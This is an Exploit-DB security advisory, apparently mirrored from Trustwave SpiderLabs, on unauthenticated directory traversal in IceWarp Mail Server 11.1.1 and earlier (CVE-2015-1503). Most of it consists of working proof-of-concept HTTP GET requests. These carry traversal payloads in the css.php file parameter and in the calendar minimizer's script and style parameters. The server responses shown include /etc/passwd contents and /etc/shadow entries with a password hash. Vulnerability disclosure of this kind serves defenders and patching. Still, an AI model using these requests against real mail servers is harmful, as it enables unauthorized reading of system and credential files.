IceWarp Mail Server < 11.1.1 - Directory Traversal

  • 作者: Trustwave's SpiderLabs
    日期: 2018-05-04
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/44587/
  • Vendor: IceWarp (http://www.icewarp.com)
    Product: IceWarp Mail Server
    Version affected: 11.1.1 and below
    
    Product description: 
    IceWarp WebMail provides web-based access to email, calendars, contacts, files and shared data from any computer with a browser and Internet connection.
    IceWarp Mail Server is a commercial mail and groupware server developed by IceWarp Ltd. It runs on Windows and Linux.
    
    Finding 1: Multiple Unauthenticated Directory traversal
    Credit: Piotr Karolak of Trustwave's SpiderLabs
    CVE: CVE-2015-1503
    CWE: CWE-22
    
    #Proof of Concept
    
    The unauthenticated Directory Traversal vulnerability can be exploited by
    issuing a specially crafted HTTP GET request to the
    /webmail/client/skins/default/css/css.php. Directory Traversal is a
    vulnerability which allows attackers to access restricted directories and
    execute commands outside of the web server's root directory.
    
    This vulnerability affects /-.._._.--.._1416610368(variable, depending on
    the installation, need to check page
    source)/webmail/client/skins/default/css/css.php.
    
    Attack details
    URL GET input file was set to ../../../../../../../../../../etc/passwd
    
    Proof-of-Concept:
    
    The GET or POST request might be sent to the host A.B.C.D where the IceWarp mail server is running:
    
    REQUEST
    =======
    GET /-.._._.--.._1416610368/webmail/client/skins/default/css/css.php?file=../../../../../../../../../../etc/passwd&palette=default&skin=default HTTP/1.1
    Referer: http://a.b.c.d/
    Cookie: PHPSESSID_BASIC=wm-54abaf5b3eb4d824333000; use_cookies=1; lastLogin=en%7Cbasic; sess_suffix=basic; basic_disable_ip_check=1; lastUsername=test; language=en
    Host: a.b.c.d
    Connection: Keep-alive
    Accept-Encoding: gzip,deflate
    Accept: */*
    
    
    RESPONSE:
    =========
    root:x:0:0:root:/root:/bin/bash 
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin 
    bin:x:2:2:bin:/bin:/usr/sbin/nologin 
    
    ....TRUNCATED
    
    test:x:1000:1000:test,,,:/home/test:/bin/bash 
    smmta:x:116:125:Mail Transfer Agent,,,:/var/lib/sendmail:/bin/false 
    smmsp:x:117:126:Mail Submission Program,,,:/var/lib/sendmail:/bin/false 
    mysql:x:118:127:MySQL Server,,,:/nonexistent:/bin/false 
    
    The above proof-of-concept would retrieve the /etc/passwd file (the
    response in this example has been truncated).
    
    #Proof of Concept
    
    The unauthenticated Directory Traversal vulnerability can be exploited by
    issuing a specially crafted HTTP GET and POST request payload
    ..././..././..././..././..././..././..././..././..././..././etc/shadow
    submitted in the script and/or style parameter.Directory Traversal is a
    vulnerability which allows attackers to access restricted directories and
    execute commands outside of the web server's root directory.
    
    The script and style parameters are vulnerable to path traversal attacks,
    enabling read access to arbitrary files on the server.
    
    REQUEST 1
    =========
    
    GET /webmail/old/calendar/minimizer/index.php?script=...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2fetc%2fshadow HTTP/1.1
    Host: a.b.c.d
    Accept: */*
    Accept-Language: en
    Connection: close
    Referer: http://a.b.c.d/webmail/old/calendar/index.html?_n[p][content]=event.main&_n[p][main]=win.main.public&_n[w]=main
    Cookie: use_cookies=1; PHPSESSID_LOGIN=08dj6q5s8tlmn126fo3vg80n47; sess_suffix=basic; lastUsername=test; PHPSESSID_CALENDAR=ji3306tg3fecg1foun2ha6dnu1; GUI=advanced; LANG=TURKISH; PHPSESSID_BASIC=wm-54a5b90472921449948637; lastLogin=en%7Cpda; prefered_version=0; PHPSESSID_PDA=ji3306tg3fecg1foun2ha6dnu1; language=en
    
    REQUEST 2
    =========
    
    GET /webmail/old/calendar/minimizer/index.php?style=...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2fetc%2fshadow HTTP/1.1
    Host: a.b.c.d
    Accept: */*
    Accept-Language: en
    Connection: close
    Cookie: use_cookies=1; PHPSESSID_LOGIN=08dj6q5s8tlmn126fo3vg80n47; sess_suffix=basic; lastUsername=test; PHPSESSID_CALENDAR=ji3306tg3fecg1foun2ha6dnu1; GUI=advanced; LANG=TURKISH; PHPSESSID_BASIC=wm-54a5b90472921449948637; lastLogin=en%7Cpda; prefered_version=0; PHPSESSID_PDA=ji3306tg3fecg1foun2ha6dnu1; language=en
    
    RESPONSE
    ========
    HTTP/1.1 200 OK
    Connection: close
    Server: IceWarp/11.1.1.0
    Date: Thu, 03 Jan 2015 06:44:23 GMT
    Content-type: text/javascript; charset=utf-8
    
    root:!:16436:0:99999:7:::
    daemon:*:16273:0:99999:7:::
    bin:*:16273:0:99999:7:::
    sys:*:16273:0:99999:7:::
    sync:*:16273:0:99999:7:::
    games:*:16273:0:99999:7:::
    man:*:16273:0:99999:7:::
    lp:*:16273:0:99999:7:::
    
    ....TRUNCATED
    
    lightdm:*:16273:0:99999:7:::
    colord:*:16273:0:99999:7:::
    hplip:*:16273:0:99999:7:::
    pulse:*:16273:0:99999:7:::
    test:$1$Duuk9PXN$IzWNTK/hPfl2jzhHmnrVL.:16436:0:99999:7:::
    smmta:*:16436:0:99999:7:::
    smmsp:*:16436:0:99999:7:::
    mysql:!:16436:0:99999:7:::